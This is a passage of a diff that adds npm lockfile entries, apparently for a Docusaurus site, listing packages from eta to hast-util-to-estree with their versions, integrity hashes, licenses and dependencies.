"integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eta": { + "version": "2.2.0", + "integrity": "sha512-UVQ72Rqjy/ZKQalzV5dCCJP80GrmPrMxh6NlNf+erV6ObL0ZFkhCstWRawS85z3smdr3d2wXPsZEY7rDPfGd2g==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "url": "https://github.com/eta-dev/eta?sponsor=1" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eval": { + "version": "0.1.8", + "integrity": "sha512-EzV94NYKoO09GLXGjXj9JIlXijVck4ONSr5wiCWDvhsvj5jxSrzTmRU/9C1DyB6uToszLs8aifA6NQ7lEQdvFw==", + "dependencies": { + "@types/node": "*", + "require-like": ">= 0.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT" + }, + "node_modules/events": { + "version": "3.3.0", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/express": { + "version": "4.22.2", + "integrity": "sha512-IuL+Elrou2ZvCFHs18/CIzy2Nzvo25nZ1/D2eIZlz7c+QUayAcYoiM2BthCjs+EBHVpjYjcuLDAiCWgeIX3X1Q==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "~1.20.5", + "content-disposition": "~0.5.4", + "content-type": "~1.0.4", + "cookie": "~0.7.1", + "cookie-signature": "~1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.3.1", + "fresh": "~0.5.2", + "http-errors": "~2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "~2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "~0.1.12", + "proxy-addr": "~2.0.7", + "qs": "~6.15.1", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "~0.19.0", + "serve-static": "~1.16.2", + "setprototypeof": "1.2.0", + "statuses": "~2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/express/node_modules/content-disposition": { + "version": "0.5.4", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "license": "MIT", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/express/node_modules/path-to-regexp": { + "version": "0.1.13", + "integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==", + "license": "MIT" + }, + "node_modules/express/node_modules/range-parser": { + "version": "1.2.1", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, + "node_modules/extend-shallow": { + "version": "2.0.1", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "license": "MIT", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.4", + "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fastq": { + "version": "1.20.1", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fault": { + "version": "2.0.1", + "integrity": "sha512-WtySTkS4OKev5JtpHXnib4Gxiurzh5NCGvWrFaZ34m6JehfTUhKZvn9njTfw48t6JumVQOmrKqpmGcdwxnhqBQ==", + "license": "MIT", + "dependencies": { + "format": "^0.2.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "license": "Apache-2.0", + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/feed": { + "version": "4.2.2", + "integrity": "sha512-u5/sxGfiMfZNtJ3OvQpXcvotFpYkL0n9u9mM2vkui2nGo8b4wvDkJ8gAkYqbA8QpGyFCv3RK0Z+Iv+9veCS9bQ==", + "license": "MIT", + "dependencies": { + "xml-js": "^1.6.11" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/file-loader": { + "version": "6.2.0", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "license": "MIT", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/file-loader/node_modules/ajv": { + "version": "6.14.0", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/file-loader/node_modules/ajv-keywords": { + "version": "3.5.2", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "license": "MIT", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/file-loader/node_modules/json-schema-traverse": { + "version": "0.4.1", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "license": "MIT" + }, + "node_modules/file-loader/node_modules/schema-utils": { + "version": "3.3.0", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.3.2", + "integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "~2.4.1", + "parseurl": "~1.3.3", + "statuses": "~2.0.2", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/find-cache-dir": { + "version": "4.0.0", + "integrity": "sha512-9ZonPT4ZAK4a+1pUPVPZJapbi7O5qbbJPdYw/NOQWZZbVLdDTYM3A4R9z/DpAM08IDaFGsvPgiGZ82WEwUDWjg==", + "license": "MIT", + "dependencies": { + "common-path-prefix": "^3.0.0", + "pkg-dir": "^7.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/find-up": { + "version": "6.3.0", + "integrity": "sha512-v2ZsoEuVHYy8ZIlYqwPe/39Cy+cFDzp4dXPaxNvkEuouymu+2Jbz0PxpKarJHYJTmv2HWT3O382qY8l4jMWthw==", + "license": "MIT", + "dependencies": { + "locate-path": "^7.1.0", + "path-exists": "^5.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat": { + "version": "5.0.2", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "license": "BSD-3-Clause", + "bin": { + "flat": "cli.js" + } + }, + "node_modules/follow-redirects": { + "version": "1.16.0", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data-encoder": { + "version": "2.1.4", + "integrity": "sha512-yDYSgNMraqvnxiEXO4hi88+YZxaHC6QKzb5N84iRCTDeRO7ZALpir/lVmf/uXUhnwUr2O4HU8s/n6x+yNjQkHw==", + "license": "MIT", + "engines": { + "node": ">= 14.17" + } + }, + "node_modules/format": { + "version": "0.2.2", + "integrity": "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==", + "engines": { + "node": ">=0.4.x" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "5.3.4", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "11.3.6", + "integrity": "sha512-w8ZNZr2mKIc7qeNaQ9AVPT1+iFaI+Avd4xudVOvdDJ8VytREi1Ft5Ih7hd9jjehod8vAM5GMsfQ/TpPf4EyoEA==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-own-enumerable-property-symbols": { + "version": "3.0.2", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==", + "license": "ISC" + }, + "node_modules/get-proto": { + "version": "1.0.1", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/github-slugger": { + "version": "1.5.0", + "integrity": "sha512-wIh+gKBI9Nshz2o46B0B3f5k/W+WI9ZAv6y5Dn5WJ5SK1t0TnDimB4WE5rmTD05ZAIn8HALCZVmCsvj0w0v0lw==", + "license": "ISC" + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/glob-to-regex.js": { + "version": "1.2.0", + "integrity": "sha512-QMwlOQKU/IzqMUOAZWubUOT8Qft+Y0KQWnX9nK3ch0CJg0tTp4TvGZsTfudYKv2NzoQSyPcnA6TYeIQ3jGichQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/global-dirs": { + "version": "3.0.1", + "integrity": "sha512-NBcGGFbBA9s1VzD41QXDG+3++t9Mn5t1FpLdhESY6oKY4gYTFpX4wO3sqGUa0Srjtbfj3szX0RnemmrVRUdULA==", + "license": "MIT", + "dependencies": { + "ini": "2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "license": "MIT", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/got": { + "version": "12.6.1", + "integrity": "sha512-mThBblvlAF1d4O5oqyvN+ZxLAYwIJK7bpMxgYqPD9okW0C3qm5FFn7k811QrcuEBwaogR3ngOFoCfs6mRv7teQ==", + "license": "MIT", + "dependencies": { + "@sindresorhus/is": "^5.2.0", + "@szmarczak/http-timer": "^5.0.1", + "cacheable-lookup": "^7.0.0", + "cacheable-request": "^10.2.8", + "decompress-response": "^6.0.0", + "form-data-encoder": "^2.1.2", + "get-stream": "^6.0.1", + "http2-wrapper": "^2.1.10", + "lowercase-keys": "^3.0.0", + "p-cancelable": "^3.0.0", + "responselike": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sindresorhus/got?sponsor=1" + } + }, + "node_modules/got/node_modules/@sindresorhus/is": { + "version": "5.6.0", + "integrity": "sha512-TV7t8GKYaJWsn00tFDqBw8+Uqmr8A0fRU1tvTQhyZzGv0sJCGRQL3JGMI3ucuKo3XIZdUP+Lx7/gh2t3lewy7g==", + "license": "MIT", + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sindresorhus/is?sponsor=1" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "license": "MIT", + "dependencies": { + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", + "license": "MIT" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-yarn": { + "version": "3.0.0", + "integrity": "sha512-IrsVwUHhEULx3R8f/aA8AHuEzAorplsab/v8HBzEiIukwq5i/EC+xmOW+HfP1OaDP+2JkgT1yILHN2O3UFIbcA==", + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hast-util-from-dom": { + "version": "5.0.1", + "integrity": "sha512-N+LqofjR2zuzTjCPzyDUdSshy4Ma6li7p/c3pA78uTwzFgENbgbUrm2ugwsOdcjI1muO+o6Dgzp9p8WHtn/39Q==", + "license": "ISC", + "dependencies": { + "@types/hast": "^3.0.0", + "hastscript": "^9.0.0", + "web-namespaces": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-html": { + "version": "2.0.3", + "integrity": "sha512-CUSRHXyKjzHov8yKsQjGOElXy/3EKpyX56ELnkHH34vDVw1N1XSQ1ZcAvTyAPtGqLTuKP/uxM+aLkSPqF/EtMw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "devlop": "^1.1.0", + "hast-util-from-parse5": "^8.0.0", + "parse5": "^7.0.0", + "vfile": "^6.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-html-isomorphic": { + "version": "2.0.0", + "integrity": "sha512-zJfpXq44yff2hmE0XmwEOzdWin5xwH+QIhMLOScpX91e/NSGPsAzNCvLQDIEPyO2TXi+lBmU6hjLIhV8MwP2kw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "hast-util-from-dom": "^5.0.0", + "hast-util-from-html": "^2.0.0", + "unist-util-remove-position": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-parse5": { + "version": "8.0.3", + "integrity": "sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "devlop": "^1.0.0", + "hastscript": "^9.0.0", + "property-information": "^7.0.0", + "vfile": "^6.0.0", + "vfile-location": "^5.0.0", + "web-namespaces": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-is-element": { + "version": "3.0.0", + "integrity": "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-parse-selector": { + "version": "4.0.0", + "integrity": "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw": { + "version": "9.1.0", + "integrity": "sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "@ungap/structured-clone": "^1.0.0", + "hast-util-from-parse5": "^8.0.0", + "hast-util-to-parse5": "^8.0.0", + "html-void-elements": "^3.0.0", + "mdast-util-to-hast": "^13.0.0", + "parse5": "^7.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0", + "web-namespaces": "^2.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-estree": { + "version": "3.1.3", + "integrity": "sha512-48+B/rJWAp0jamNbAAf9M7Uf//UVqAoMmgXhBdxTDJLGKY+LRnZ99qcG+Qjl5HfMpYNzS5v4EAwVEF34LeAj7w==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-attach-comments": "^3.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "hast-util-whitespace": "^3.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-js": "^1.0.0", + "unist-util-position": "^5.0.0", + "zwitch": "^2.0.0" + }, + 